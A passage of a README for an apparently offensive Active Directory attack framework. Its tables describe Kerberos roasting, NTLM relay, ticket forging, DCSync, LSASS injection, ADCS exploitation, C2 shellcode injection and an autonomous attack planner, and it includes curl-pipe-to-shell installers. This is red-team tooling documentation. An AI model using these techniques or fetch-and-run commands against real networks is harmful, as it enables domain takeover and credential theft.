| **Account telemetry** | `badPwdCount`, `badPwdTime`, `lockoutTime`, logon count, password timestamps, and account expiry. This is what makes safe spray planning possible instead of vibes-based credential roulette. | ✅ Done |
| **LAPS discovery** | LAPS v1 (plaintext ms-Mcs-AdmPwd) and LAPS v2 - including the encrypted variant (msLAPS-EncryptedPassword) via DPAPI/AES-256-GCM decryption. The DPAPI module finally exists. Hallelujah. | ✅ Full (v1 + v2 encrypted) |
| **LAPS/gMSA enumeration** | Purpose-built `laps_gmsa.rs` (276 lines, 12 tests) - targets LAPS passwords and gMSA account secrets specifically. No more generic LDAP scraping. | ✅ Full |
| **Snaffler module** | `snaffler.rs` - configurable share crawling with pattern matching (extensions/names/regex), severity scoring, CSV export, concurrent scanning. Audited and fixed. 23 tests. | ✅ Full |
| **GPP Passwords** | Fetches GPP XML from SYSVOL over SMB, decrypts cpassword values. Microsoft published the AES key. In their documentation. On purpose. | ✅ Done |
| **MSSQL Enumeration** | MSSQL instances, linked servers, xp_cmdshell. SQL Server: because every network needs a database with `sa:sa` credentials. | ✅ Full TDS client |
| **ADCS Enumeration** | Certificate templates, enrollment services, CA permissions, vulnerable template identification. ADCS is the gift that keeps on giving (to attackers). | ✅ Done |
| **BloodHound Export** | Export users, groups, computers, domains to BloodHound-compatible JSON. CSV and graph export too. | ✅ Done |

### Attack Execution (overthrone-hunter)

The crate with zero stubs. The only crate that did all its homework. If overthrone-hunter were a student, it would remind the teacher about the assignment.

| Attack | How it works | Status |
|---|---|---|
| **Kerberoasting** | Request TGS tickets for SPN accounts, crack offline with embedded wordlist or hashcat. The DC hands you encrypted tickets and says "good luck cracking these" and hashcat says "lol." | ✅ Full |
| **AS-REP Roasting** | Request AS-REP for accounts without pre-auth. Someone unchecked "Do not require Kerberos preauthentication." That single checkbox has caused more breaches than we can count. | ✅ Full |
| **Kerberos User Enumeration** | Zero-knowledge username discovery via AS-REQ probes. No credentials needed - the KDC error code reveals whether each account exists (`KDC_ERR_C_PRINCIPAL_UNKNOWN` = not found, `KDC_ERR_PREAUTH_REQUIRED` = valid). Automatically captures AS-REP hashes for any no-preauth accounts found during enumeration. Supports `--userlist`, `--use-ldap`, and a built-in embedded fallback list when no file is available. | ✅ Full |
| **Auth Coercion** | PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce - force machines to authenticate to you. The DC does this willingly. Microsoft considers this "working as intended." | ✅ Full (5 techniques) |
| **RBCD Abuse** | Create machine account + modify msDS-AllowedToActOnBehalfOfOtherIdentity + S4U2Self/S4U2Proxy chain. The attack with the longest name and the shortest time-to-DA. | ✅ Full |
| **Constrained Delegation** | S4U2Self + S4U2Proxy to impersonate users to specific services. Microsoft: "You can only impersonate to these services." Attackers: "What about these other services?" | ✅ Full |
| **Unconstrained Delegation** | Steal TGTs from anyone who authenticates to a compromised machine. It's always the print server. Always. | ✅ Full |
| **Inline Hash Cracking** | Embedded top-10K wordlist (zstd compressed), rayon parallel cracking, rule engine (leet, append year/digits, capitalize), hashcat subprocess fallback. | ✅ Full |
| **Ticket Manipulation** | Request, cache, convert between .kirbi and .ccache formats. Tickets are the currency of AD. This module is the money printer. | ✅ Full |

### Cross-Domain Crawling (overthrone-crawler)

The explorer crate that used to have placeholder "not yet implemented" functions. Now it's the Indiana Jones of AD reconnaissance.

| Feature | Details | Status |
|---|---|---|
| **Cross-domain trust mapping** | Parent/child, cross-forest, external, realm trusts. Maps who trusts whom across boundaries. | ✅ Full |
| **Inter-realm TGT forging** | Forge cross-realm TGTs using trust keys or PKINIT session keys. | ✅ Full |
| **SID filter analysis** | Detects SID filter misconfigurations that enable cross-domain escalation. | ✅ Full |
| **PAM trust detection** | Privileged Access Management trust detection. | ✅ Full |
| **MSSQL linked server crawling** | Crawl linked MSSQL servers via TDS protocol, execute queries across boundaries. | ✅ Full |
| **Foreign LDAP enumeration** | Real cross-trust LDAP queries: users, groups, computers, SPNs, ACLs. 25KB of `foreign.rs`. | ✅ Full |
| **TCP source-port rotation** | `PortRotator` - atomic round-robin across user-port range (49152-65535), `connect_with_source_port()`, `connect_with_rotation()` with OS fallback. No admin needed. 12 tests. | ✅ Full |
| **JA3/JA4 TLS fingerprint randomization** | `TlsFingerprintConfig` - randomize cipher order, group order, cipher subset size. Danger + verified config builders. Feature-gated. 9 tests. | ✅ Full |
| **SMB OPLOCK hijacking** | `OplockConfig`/`OplockLevel`/`OplockSession` in `oplock.rs`. Create/wait/acknowledge break cycle. Used for SMB share crawling. | ✅ Full |
| **Responder integration** | `CrawlerResponder` wraps relay Poisoner + Responder with start/stop lifecycle. CLI `--poison-ip`/`--respond` on `ovt move`. Captured NTLMv2 displayed as hashcat-ready. 9 tests. | ✅ Full |

### Attack Graph (overthrone-core)

BloodHound rebuilt in Rust without the Neo4j dependency. Maps every relationship in the domain, imports BloodHound JSON locally, visualizes it in a native Rust TUI, and finds the shortest path to making the blue team update their resumes.

| Feature | Details | Status |
|---|---|---|
| **Directed graph** | Nodes (users, computers, groups, domains) and edges (MemberOf, AdminTo, HasSession, GenericAll, etc.) - LinkedIn for attack paths. | ✅ Full (petgraph) |
| **Shortest path** | Dijkstra with weighted edges - `MemberOf` is free, `AdminTo` costs 1, `HasSpn` costs 5 (offline cracking). Finds the path of least resistance. Just like a real attacker. Just like water. | ✅ Full |
| **Path to DA** | Finds every shortest path from a compromised user to Domain Admins. Usually shorter than you'd expect. Usually terrifyingly short. | ✅ Full |
| **High-value targets** | Auto-identifies Domain Admins, Enterprise Admins, Schema Admins, KRBTGT, DC computer accounts. The "if you compromise these, the game is over" list. | ✅ Full |
| **Kerberoast reachability** | "From user X, which Kerberoastable accounts can I reach, and how?" - it's a shopping list for your GPU. | ✅ Full |
| **Delegation reachability** | "From user X, which unconstrained delegation machines are reachable?" (Spoiler: it's the print server.) | ✅ Full |
| **JSON export** | Full graph export for D3.js, Cytoscape, or your visualization tool of choice. Clients love graphs that look like conspiracy boards. | ✅ Full |
| **Local BloodHound viewer** | `ovt graph view` opens a Rust-native interactive visualizer for Overthrone exports and BloodHound v4/CE JSON collections. The canvas now shows compact node labels when you zoom in (and always for selected or high-value nodes), while full names and relationship details stay readable in the surrounding panes. `ovt graph tree` adds a fully interactive domain -> object type -> object -> inbound/outbound relationship tree for BloodHound-style analysis without Neo4j. | ✅ Full |
| **Graph statistics** | ovt graph stats shows node/edge counts, breakdown by type, and high-value target rankings. Know your attack surface. | ✅ Full |
| **Path finding** | ovt graph path finds shortest paths between any two nodes. ovt graph path-to-da finds all routes to Domain Admins. | ✅ Full |

#### Local BloodHound Viewer Quickstart

```bash
# Build an Overthrone graph from LDAP and open it locally
ovt graph build -H 10.10.10.1 -d corp.local -u jsmith -p 'Summer2026!'
ovt graph view --file attack_graph.json
ovt graph tree --file attack_graph.json

# Or import existing BloodHound v4/CE collection JSON without Neo4j
ovt graph view -i ./bloodhound-json/
ovt graph tree -i ./bloodhound-json/
ovt graph view -i users.json -i groups.json -i computers.json -i domains.json
```

#### Graph GUI (Browser) Quickstart

```bash
# Launch the browser-based GUI from an Overthrone graph export
ovt graph gui --file attack_graph.json

# Or point it at a directory of BloodHound/Overthrone JSON files
ovt graph gui -i ./graphs/
```

The graph and tree viewers are native Rust TUIs. They parse Overthrone graph exports, Overthrone BloodHound exports, and BloodHound collection files/directories. Use `ovt graph view` for a clean relationship canvas that shows compact labels on zoom/selection while keeping full names in the side panels, and `ovt graph tree` for a GUI BloodHound-style hierarchy that expands domains, object classes, objects, inbound relationships, outbound relationships, rich details, and high-value paths. Both viewers support search, high-value and owned filters, attack-edge lensing, mouse selection/scrolling, readable detail panes, `?` help, and `q` to quit.

The browser GUI runs a local Rust HTTP server, opens a tab automatically, and serves the graph UI from your machine. Directory inputs are indexed as separate selectable JSON graphs instead of being merged and rendered all at once. Like BloodHound, the canvas starts blank after selection: stats are indexed, then the operator searches source/destination nodes with realtime suggestions, filters object types, finds focused paths, or renders a chunk. Render budgets are `50`, `100`, `200`, `300`, `500`, `1000`, `2000`, `5000`, and `ALL`; `ALL` prompts before rendering because giant domains deserve a seatbelt. The renderer uses a deterministic left-to-right hierarchy instead of a circular force cluster, and node details live in their own right rail so collapsing graph controls does not hide the selected object context. Node and edge detail panels include human-readable ACE/ACL guidance for GenericAll, GenericWrite, WriteDacl, WriteOwner, delegation, DCSync, LAPS/gMSA reads, GPO control, shadow credentials, ADCS enrollment, attribute-specific WriteProperty edges, and similar abuse paths. The rendering engine has been migrated from D3.js to Three.js for GPU-accelerated WebGL performance at scale. A small demo fixture lives at `docs/bloodhound-hierarchy-demo.json`.

### NTLM Relay & Poisoning (overthrone-relay)

Born complete. Stayed complete. Added more features just to flex. Still zero stubs.

| Feature | Details | Status |
|---|---|---|
| **NTLM Relay Engine** | Full relay - capture NTLM auth from one protocol, replay to another. SMB→LDAP, HTTP→SMB, mix and match like a deadly cocktail. | ✅ Full |
| **HTTP→SMB Asymmetric Relay** | `http_asymmetric.rs` - full HTTP request capture and replay. Captures method/URI/headers/body, extracts NTLM token, replays authenticated request to target. Connection-based state tracking (NAT-safe). Post-auth modes for HTTP/HTTPS/WebDAV/Exchange vs SMB/LDAP/MSSQL. CLI: `ovt ntlm http-asymmetric`. | ✅ Full |
| **Exchange Relay** | CVE-2024-21410 - NTLM relay to Exchange MAPI-over-HTTP and EWS endpoints. TLS support, self-signed cert acceptance, EPA/channel binding bypass. Pre-CU14 Exchange servers accept relayed NTLM auth without Extended Protection. | ✅ Full |
| **SMB Signing Pre-Flight** | Inline SMB2 negotiate probe checks `SecurityMode` before relaying. If the target requires packet signing, relay refuses with a clear error. | ✅ Full |
| **LDAP Signing Bypass** | CVE-2019-1040 "Drop the MIC" - strips SIGN/SEAL flags from the target's CHALLENGE before the victim sees it, zeroes MIC in AUTHENTICATE. Relayed sessions can perform LDAP operations (add-to-group, search, modify-replace). | ✅ Full |
| **DCE/RPC Signature Stripping** | `strip_dce_rpc_signature` in core - strips NTLM auth verifier from DCE/RPC request PDUs. Wired in `smb_daemon.rs::relay_ioctl()`. Enables relay against MS-RPRN and MS-EFSR. | ✅ Full |
| **mTLS / TLS Verification Mode** | `TlsVerificationMode` enum (AcceptAll/VerifyServerCert), `TlsConfig` struct. Unified `wrap_tls()` across relay engine + exchange module. `--tls-verify` flag on all relay subcommands. Channel binding validation (CbtMode::Validate/Strip/Passthrough). | ✅ Full |
| **Auto-Trigger Coercion** | `auto_coerce()` with `CoerceCreds` passthrough for authenticated coercion. ShadowCoerce (PetitPotam via WebDAV) when HTTP relay active. `wait_for_listener_ready()` with exponential backoff. CLI: `--auto-coerce-domain/user/password`. | ✅ Full |
| **IPv6 Transport** | `bind_tcp_listener_async/sync` helpers for dual-stack listeners. Fixed IPv6 target address formatting. Centralized `format_addr()` with bracket handling. | ✅ Full |
| **SOCKS5 Proxy Output** | Route relayed connections through SOCKS5 proxy. Wired in ADCS relay, Exchange relay, SMB daemon. | ✅ Full |
| **LLMNR/NBT-NS/mDNS Poisoner** | Respond to broadcast name resolution. "Who is FILESERVER?" "Me. I'm FILESERVER now." Identity theft, but for computers. | ✅ Full |
| **Network Poisoner** | Decides when to poison, what to poison, and how aggressively - while avoiding detection. | ✅ Full |
| **ADCS Relay (ESC8)** | Relay NTLM auth to AD Certificate Services web enrollment. Get a certificate as the victim. Certificates: the new hashes. | ✅ Full |

### Persistence (overthrone-forge)

Taking the throne is easy. Keeping it is an art form. This crate welds the crown to your head.

| Technique | What it does | Status |
|---|---|---|
| **DCSync** | Replicate credentials from the DC using MS-DRSR. Get every hash in the domain. The CEO's. The intern's. The service account from 2009 nobody remembers creating. | ✅ Full |
| **Golden Ticket** | Forge a TGT signed with the KRBTGT hash. Be any user. Access anything. The Willy Wonka golden ticket, except the factory is Active Directory. | ✅ Full (with PAC construction) |
| **Silver Ticket** | Forge a TGS for any service. Stealthier than Golden - no DC interaction needed. | ✅ Full |
| **Diamond Ticket** | Modify a legit TGT's PAC. Bypasses detections that check for TGTs not issued by the KDC. The stealth bomber of ticket forging. | ✅ Full |
| **Enhanced Diamond** | Parses legitimate TGT PAC, locates and preserves KDC checksum (type 7). KDC_ISSUED indicator survives inspection. | ✅ Full |
| **Sapphire Ticket** | Full chain: legitimate TGT -> S4U2Self -> decrypt service ticket -> extract KDC-issued PAC -> forge new TGT around it with krbtgt encryption. The phoenix of ticket attacks. | ✅ Full |
| **Bronze Bit** | CVE-2020-17049 - S4U2Self -> S4U2Proxy with PA-PAC-OPTIONS forwardable flag bypass. | ✅ Full |
| **InterRealm TGT** | Forge cross-realm TGTs with PKINIT session key or trust hash. Move between forests like you pay taxes in both. | ✅ Full |
| **PKINIT-Keyed Forging** | Golden/Silver/Diamond/InterRealm/Skeleton Key all check `pkinit_session_key` first, fall back to hash. Certificate-based forging, no krbtgt hash required. | ✅ Full |
| **ADCS Dispatcher** | ESC1-9 orchestration in 1,147 lines. Auto mode tries ESC1->ESC6->ESC9 in order. Direct exploit for ESC1/2/3/6/9, command generation for ESC4/5/7/8. | ✅ Full |
| **S4U2Self with PKINIT Chain** | Certificate-based S4U2Self delegation. PKINIT auth -> S4U2Self -> optional S4U2Proxy. Wired as `ForgeAction::S4u2SelfPkinit`. | ✅ Full |
| **AS-REP to TGT Pipeline** | Takes cracked AS-REP passwords, requests real TGTs from KDC. `ForgeAction::AsRepToTgt`. | ✅ Full |
| **Shadow Credentials** | Add a key credential to msDS-KeyCredentialLink via LDAP, then authenticate with PKINIT (real RSA signing + DH key exchange). The cool modern attack, and it actually works now. | ✅ Full (LDAP + PKINIT) |
| **ACL Backdoor** | Modify DACLs to grant yourself hidden permissions. The "I was always an admin, you just didn't notice" technique. | ✅ Full |
| **MS-WCCE DCOM (ESC8)** | Full DCOM activation path for ICertRequest remote enrollment. 30 tests. The direct COM pipe, no web enrollment needed. | ✅ Full |
| **Skeleton Key** | Patch LSASS to accept a master password. Native 92KB x64 DLL embedded in binary. Reflective injection via `CreateRemoteThread`. Exports: Enable/Disable/IsActive. Full SMB orchestration. PKINIT-based auth path for certificate-based SMB session. | ✅ Full (native DLL) |
| **DSRM Backdoor** | Set DsrmAdminLogonBehavior=2 via remote registry. Persistent backdoor via DSRM Administrator. | ✅ Full |
| **Forensic Cleanup** | Rollback every persistence technique. Because good pentesters clean up. Great pentesters never needed to. | ✅ Full |
| **17 ForgeAction Variants** | Golden, Silver, Diamond, EnhancedDiamond, Sapphire, BronzeBit, InterRealmTgt, SkeletonKey, DsrmBackdoor, DcSyncUser, AclBackdoor, NoPac, ConvertTicket, AsRepToTgt, PkinitAuth, AdcsExploit, S4u2SelfPkinit. Pick your poison. | ✅ Full |

### ADCS Exploitation (overthrone-core)

AD Certificate Services: where Microsoft said "let's add PKI to Active Directory" and attackers said "thank you for your service."

| ESC | Attack | Status | Notes |
|---|---|---|---|
| **ESC1** | Enrollee supplies subject / SAN in request | ✅ Implemented | Full `Esc1Exploiter` - SAN UPN abuse, CSR generation, certificate enrollment, NT hash extraction from PKCS#12. 204 lines. The main character has arrived. |
| **ESC2** | Any purpose EKU + enrollee supplies subject | ✅ Implemented | Any Purpose certificates exploited via enrollment request manipulation. The "I can be anything" certificate. |
| **ESC3** | Enrollment agent + second template abuse | ✅ Implemented | Two-step: get enrollment agent cert, then request cert as victim. The buddy system of exploitation. |
| **ESC4** | Vulnerable template ACLs ? modify to ESC1 | ✅ Implemented | Modify template permissions, then exploit. If you can write the rules, you can break the rules. |
| **ESC5** | Vulnerable PKI object permissions | ✅ Implemented | Abuse permissions on PKI infrastructure objects. |
| **ESC6** | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | ✅ Implemented | Full `Esc6Exploiter` - detects and exploits the EDITF flag on CAs. Its name is longer than the code, but the code works. |
| **ESC7** | CA access control abuse (ManageCA rights) | ✅ Implemented | CA permission manipulation. |
| **ESC8** | Web enrollment NTLM relay | ✅ Implemented | Full relay with the overthrone-relay crate integration. |
| **ESC9** | No Security Extension + UPN poisoning | ✅ Implemented | Supports automated live LDAP mode (with supplied directory creds) plus guided mode for operator-driven UPN restore. |
| **ESC10** | Weak certificate mapping / weak binding enforcement | ✅ Implemented | Supports Variant A/B workflows with optional live LDAP automation for UPN mapping paths. |
| **ESC11** | NTLM relay to ICPR (`ICertPassage`) | ✅ Implemented | Includes assessment flow and optional live WINREG/SMB checks when CA host creds are supplied. |
| **ESC12** | CA private key exfiltration | ✅ Implemented | Generates operator workflow for backup/exfil and offline abuse where shell-level CA access exists. |
| **ESC13** | Issuance Policy OID to privileged group link | ✅ Implemented | Full exploit flow and PKINIT usage hints for privilege pivoting via linked group policy OIDs. |
| **ESC14** | Strong certificate mapping bypass via SAN abuse | ✅ Implemented | Bypass strong mapping enforcement when the CA issues certificates with alternative security identifiers. |
| **ESC15** | CA Exchange metadata poisoning | ✅ Implemented | Abuses CA Exchange certificate metadata fields for privilege escalation through improper template issuance constraints. |
| **ESC16** | Partial CA certificate chain compromise | ✅ Implemented | Exploits cross-CA trust relationships and misconfigured subordinate CA chains to forge valid certificates from a partial signing key. |
| **CA Cert LDAP** | CA certificate retrieval via LDAP (no DCOM/RPC) | ✅ Implemented | `get_ca_certificate_via_ldap()` queries `cACertificate` from AD Configuration NC. `get-ca-cert` + `backup-ca` both work on WS2025. Key insight: ldap3 stores binary attrs in `bin_attrs`, not `attrs`. 897 bytes CA cert verified with `certutil -dump`. |

### Remote Execution (overthrone-core)

Six lateral movement methods. All implemented. The `todo!()` trio graduated.

| Method | Protocol | Status | Notes |
|---|---|---|---|
| **WinRM (Linux/macOS)** | WS-Management + NTLM | ✅ Full | Pure Rust WS-Man with NTLM auth. Create shell, execute, receive output, delete shell. Cross-platform perfection. |
| **WinRM (Windows)** | Win32 WSMan API | ✅ Full | Commands execute via native Win32 API with real output collection via `WSManReceiveShellOutput`. The mystery is solved. |
| **AtExec** | ATSVC over SMB | ✅ Full | Scheduled task creation via named pipe. "Task Scheduler is a feature, not a vulnerability." |
| **PsExec** | DCE/RPC + SMB | ✅ Full | Real DCE/RPC bind packet building, service creation, payload upload to ADMIN$, execution, cleanup. The sports car now has a steering wheel. |
| **SmbExec** | SCM over SMB | ✅ Full | Service-based command execution via SMB named pipes. Clean, simple, effective. |
| **WmiExec** | DCOM/WMI | ✅ Full (Windows) | WMI-based semi-interactive command execution with output retrieval via SMB. ❌ Windows only - returns a clear error on Linux/macOS. |

### C2 Framework Integration (overthrone-core)

The C2 integration that went from "aspirational" to "actually works." Three backends, all with real HTTP clients, real auth flows, and real API calls.

| Framework | What It Does | Auth | Status |
|---|---|---|---|
| **Sliver** | Full C2Channel trait - sessions, beacons, exec, PowerShell, upload/download, assembly, BOF, shellcode inject, implant generation, listener management. Operator `.cfg` parsing with mTLS. | mTLS (certificate + CA from operator config) | ✅ Full |
| **Havoc** | Full C2Channel trait - Demon agent management, shell/PowerShell exec, upload/download, .NET assembly exec, BOF exec, shellcode inject, payload generation. Task polling with 5-min timeout. | Token or password auth (REST login endpoint) | ✅ Full |
| **Cobalt Strike** | Full C2Channel trait - beacon management, BOF execution, shellcode injection, payload generation. Aggressor-style REST API. | Bearer token or password auth | ✅ Full |

All three implement the complete `C2Channel` async trait: `connect`, `disconnect`, `list_sessions`, `get_session`, `exec_command`, `exec_powershell`, `upload_file`, `download_file`, `execute_assembly`, `execute_bof`, `shellcode_inject`, `deploy_implant`, `list_listeners`, `server_info`. The trait system is legitimately well-designed. The water is connected now.

### Crypto Layer (overthrone-core)

The layer that used to be the "Empty Files Hall of Shame." The shame has been resolved. The five one-line doc comments are now real implementations.

| Module | What It Does | Status |
|---|---|---|
| **AES-CTS** | AES256-CTS-HMAC-SHA1 for Kerberos etype 17/18. The thing that makes modern tickets work. | ✅ Full |
| **RC4** | RC4 encryption for Kerberos etype 23. The crypto equivalent of a screen door on a submarine, but AD still uses it everywhere. | ✅ Full |
| **HMAC** | HMAC utilities for ticket validation and integrity checking. | ✅ Full |
| **MD4** | MD4 hash for NTLM password hashing. The algorithm from 1990 that refuses to die, much like NTLM itself. | ✅ Full |
| **Ticket Crypto** | Ticket forging primitives - encryption, PAC signing, checksum computation. The mathematical foundation of ticket forging. | ✅ Full |
| **DPAPI** | LAPS v2 encrypted blob parsing, AES-256-GCM decryption, HMAC-SHA512 key derivation. With property-based tests using `proptest`. The module that doesn't exist? It exists now. | ✅ Full (with tests) |
| **GPP** | Group Policy Preferences cpassword AES decryption. Microsoft published the key. We just use it. | ✅ Full |
| **Cracker** | Offline hash cracking engine - embedded wordlist, rayon parallel processing, rule engine. | ✅ Full |

### Plugin System (overthrone-core)

| Component | Status | Notes |
|---|---|---|
| **Plugin Trait** | ✅ Full | Complete plugin API: manifest, capabilities, events, command execution. |
| **Native DLL Loading** | ✅ Full | `libloading`-based FFI with API version checking, manifest JSON parsing, function pointer caching. |
| **Built-in Example** | ✅ Full | SmartSpray plugin with lockout avoidance. A complete working example that actually spray-attacks responsibly. |
| **WASM Plugin Runtime** | ✅ Full | Wasmtime engine, module compilation, host function linking (`env.log`, `env.graph_add_node`, `env.graph_add_edge`). Plugins load, execute, and maintain state between calls. Manifest custom section parsing works. Memory allocation tries plugin's `allocate()` first. The engine is tuned and road-ready. |

### Autonomous Planning (overthrone-pilot)

The "I'll hack it myself" engine. Now with machine learning and a filing system.

| Feature | Status |
|---|---|
| **Attack Planner** | ✅ Plans multi-step attack chains from enumeration data |
| **Step Executor** | ✅ Executes each planned step by calling Hunter/Forge/Reaper. 90KB of execution logic. |
| **Adaptive Strategy** | ✅ Adjusts plan on-the-fly based on what succeeds and fails |
| **Policy-Aware Planning** | ✅ Pulls password policy, badPwdCount/badPwdTime/lockoutTime, GPOs, delegation/RBCD, and readable LAPS before choosing attacks. |
| **Q-Learning AI** | ✅ Reinforcement learning engine (compiled by default) - e-greedy policy with decay (0.3→0.05), learns optimal attack sequences across engagements via state-action reward tables. State includes policy, lockout risk, LAPS, delegation, GPO, creds, admin hosts, stage, action family, stealth, and failure class. Shows state, decision, Q-value, rationale, and reward at every step. |
| **Goal System** | ✅ Target DA, Enterprise Admin, specific user, specific host |
| **Playbooks** | ✅ Pre-built YAML attack sequences for common scenarios |
| **Wizard Mode** | ✅ Interactive guided mode with Q-learner state/decision/reward loop. |
| **Hostile-DC Detection** | ✅ `dc_verify.rs` - 5 checks: LDAP rootDSE, domain match, DNS SRV, hostname resolution, Kerberos port. |
| **Session Management** | ✅ `ovt session` subcommand with 7 actions (list/show/info/delete/clean/path/stats). `--from-session <name>` wired to wizard - loads saved EngagementState, skips Enumerate if state has data. |
| **Session Resume** | ✅ `--resume <file>` reloads serialized `EngagementState` from a previous run. VPN dropped? Pick up mid-chain. |
| **TOML Config** | ✅ `--config <file>` loads engagement params from a TOML file. |
| **Credential Vault** | ✅ Thread-safe `CredStore` with privilege ranking. |
| **OPSEC Noise Gate** | ✅ `--stealth` caps noise at `Medium`. High/Critical steps are skipped. |
| **Wizard Runner** | ✅ Full engagement orchestrator: enum -> graph -> exploit -> persist -> report. Interactive or headless (`--no-pause`). Live kill-chain pipeline, per-step Q-learner output, 9-section final report. |
| **WizardSession::new_with_state()** | ✅ Constructs WizardSession from pre-populated EngagementState. Enables skip-Enumerate resume flow. |

### Reporting (overthrone-scribe)

The difference between a penetration test and a crime is paperwork. This crate does the paperwork.

| Format | Status | Notes |
|---|---|---|
| **Markdown** | ✅ Works | Technical report with findings, attack paths, and mitigations. For the team that has to fix things. |
| **JSON** | ✅ Works | Machine-readable for integration with SIEMs, ticketing systems, or your "how screwed are we" dashboard. |
| **PDF** | ✅ Works | Executive summary for people who think "Domain Admin" is a job title. Custom PDF renderer. |

Every report includes: findings with severity, full attack paths with hop-by-hop details, affected assets, MITRE ATT&CK mappings, remediation steps, mitigation recommendations, and attack narrative prose. The PoC report also includes a Windows Exploitation Reference catalog tracking 2025-2026 CVEs (AD, NTLM, SMB, ADCS, Exchange, LPE, zero-days) with Overthrone mapping. Because "GenericAll on the Domain Object via nested group membership through a misconfigured ACE" means nothing to a CISO. "Anyone in marketing can become Domain Admin in 3 steps" does.

## Edge Types & Cost Model

The attack graph uses weighted edges. Lower cost = easier to exploit. The pathfinder minimizes total cost - finding the path of least resistance. Just like a real attacker. Just like electricity. Just like that one coworker who always finds the shortcut.

| Edge Type | Cost | Meaning |
|---|---|---|
| `MemberOf` | 0 | Group membership - free traversal, you already have it |
| `HasSidHistory` | 0 | SID History - legacy identity, free impersonation |
| `Contains` | 0 | OU/GPO containment - structural relationship |
| `AdminTo` | 1 | Local admin - direct compromise |
| `DcSync` | 1 | Replication rights - game over |
| `GenericAll` | 1 | Full control - you are God (of this specific object) |
| `ForceChangePassword` | 1 | Reset their password - aggressive but effective |
| `Owns` | 1 | Object owner - can grant yourself anything |
| `WriteDacl` | 1 | Modify permissions - give yourself GenericAll |
| `WriteOwner` | 1 | Change owner - give yourself Owns |
| `AllowedToDelegate` | 1 | Constrained delegation - impersonate to target service |
| `AllowedToAct` | 1 | RBCD - sneakier delegation abuse |
| `HasSession` | 2 | Active session - credential theft opportunity |
| `GenericWrite` | 2 | Write attributes - targeted property abuse |
| `AddMembers` | 2 | Add to group - escalate via group membership |
| `AllExtendedRights` | 1 | Full control via extended rights |
| `CreateChild` | 2 | Create child objects - privilege escalation |
| `WriteSelf` | 2 | Add self to group / modify self |
| `WriteSPN` | 3 | Write SPN - set up for kerberoasting |
| `WriteKeyCredentialLink` | 2 | Shadow Credentials write |
| `AddKeyCredentialLink` | 2 | Add key credential - Shadow Credentials |
| `WriteAllowedToDelegateTo` | 2 | RBCD write |
| `AddAllowedToAct` | 2 | Add RBCD permission |
| `WriteAccountRestrictions` | 3 | Modify account delegation restrictions |
| `Enroll` | 3 | Enroll in certificate template |
| `EnrollOnBehalfOf` | 3 | Enrollment agent - ESC3 |
| `ManageCA` | 1 | Manage Certificate Authority |
| `ManageCertificates` | 2 | Manage issued certificates |
| `ManageCertTemplate` | 1 | Manage certificate templates |
| `ReadLapsPassword` | 2 | Read LAPS - plaintext local admin password |
| `ReadGmsaPassword` | 2 | Read gMSA - service account password blob |
| `ReadLapsPasswordExpiry` | 2 | Read LAPS password expiry metadata |
| `CanRDP` | 3 | RDP access - interactive logon |
| `CanPSRemote` | 3 | PS Remoting - command execution |
| `ExecuteDCOM` | 3 | DCOM execution - Excel goes brrr |
| `SQLAdmin` | 3 | SQL Server admin - `xp_cmdshell` is a "feature" |
| `TrustedBy` | 4 | Domain trust - cross-domain, requires more setup |
| `HasSpn` | 5 | Kerberoastable - offline cracking required |
| `DontReqPreauth` | 5 | AS-REP roastable - offline cracking required |
| `Custom(*)` | 10 | Unknown/custom - high cost, manual analysis needed |

## Protocol Stack

What Overthrone speaks fluently. All implemented in pure Rust:

| Protocol | Used for |
|---|---|
| **LDAP/LDAPS** | Domain enumeration, user/group/GPO/trust queries, ACL reading. AD's diary. |
| **Kerberos** | Authentication, TGT/TGS requests, ticket forging, roasting, PKINIT. The three-headed dog of authentication. |
| **SMB 2/3** | File operations, share enumeration, lateral movement, PtH. The universal remote of Windows networking. |
| **NTLM** | NT hash computation, NTLMv2 challenge-response, Pass-the-Hash. The protocol that refuses to die. |
| **MS-DRSR** | DCSync - replicating credentials via DRS RPC. Politely asking the DC for all credentials. |
| **MS-SAMR/RID** | SAM Remote - RID cycling, SID brute-force enumeration |
| **MSSQL/TDS** | Full TDS protocol client, auth, query execution, linked server crawling |
| **Remote Registry** | Remote registry manipulation via DCE/RPC |
| **DNS** | SRV record lookups for DC discovery via hickory-resolver |
| **PKINIT** | Certificate-based Kerberos pre-auth with RSA signing and DH key exchange |

Everything is implemented in Rust. No shelling out to `impacket`, no calling `mimikatz.exe`, no loading .NET assemblies, no Wine, no prayers to the Python dependency gods. Pure Rust protocol implementations talking raw bytes over the wire.

## Installation

### One-line install (Linux/macOS)

```bash
curl -fsSL https://raw.githubusercontent.com/Karmanya03/Overthrone/main/install.sh | bash
```

Auto-detects your platform, grabs the right binary, installs both `overthrone` and `ovt` to your PATH. Easier than misconfiguring a GPO.

### One-line install (Windows PowerShell)

```powershell
irm https://raw.githubusercontent.com/Karmanya03/Overthrone/main/install.ps1 | iex
```

Same thing, but for people who attack Active Directory from inside Active Directory. We respect the audacity.

### Download a binary

Grab the latest from [**Releases**](https://github.com/Karmanya03/Overthrone/releases):

| Platform | Binary | Architecture |
|---|---|---|
| **Windows** | [`overthrone-windows-x86_64.exe`](https://github.com/Karmanya03/Overthrone/releases/download/v0.2.1-beta/overthrone-windows-x86_64.exe) | x86_64 |
| **Linux** | [`overthrone-linux-x86_64`](https://github.com/Karmanya03/Overthrone/releases/download/v0.2.1-beta/overthrone-linux-x86_64) | x86_64 (musl, static) |
| **macOS** | [`overthrone-macos-aarch64`](https://github.com/Karmanya03/Overthrone/releases/download/v0.2.1-beta/overthrone-macos-aarch64) | Apple Silicon (M1/M2/M3/M4) |

**Quick manual install:**

```bash
# Linux x86_64
curl -L https://github.com/Karmanya03/Overthrone/releases/download/v0.2.1-beta/overthrone-linux-x86_64 -o ovt && chmod +x ovt && sudo mv ovt /usr/local/bin/

# macOS Apple Silicon
curl -L https://github.com/Karmanya03/Overthrone/releases/download/v0.2.1-beta/overthrone-macos-aarch64 -o ovt && chmod +x ovt && sudo mv ovt /usr/local/bin/

# Kali (you're probably already here)
curl -L https://github.com/Karmanya03/Overthrone/releases/download/v0.2.1-beta/overthrone-linux-x86_64 -o ovt && chmod +x ovt && sudo mv ovt /usr/local/bin/ && sudo apt install -y smbclient
```

### Build from source

For the trust-no-one crowd (respect - you're pentesters, paranoia is a job requirement):

```bash
git clone https://github.com/Karmanya03/Overthrone.git
cd Overthrone
cargo build --release

# Binaries at:
#   target/release/overthrone
#   target/release/ovt
# Same binary, two names. Like Clark Kent and Superman but less handsome.
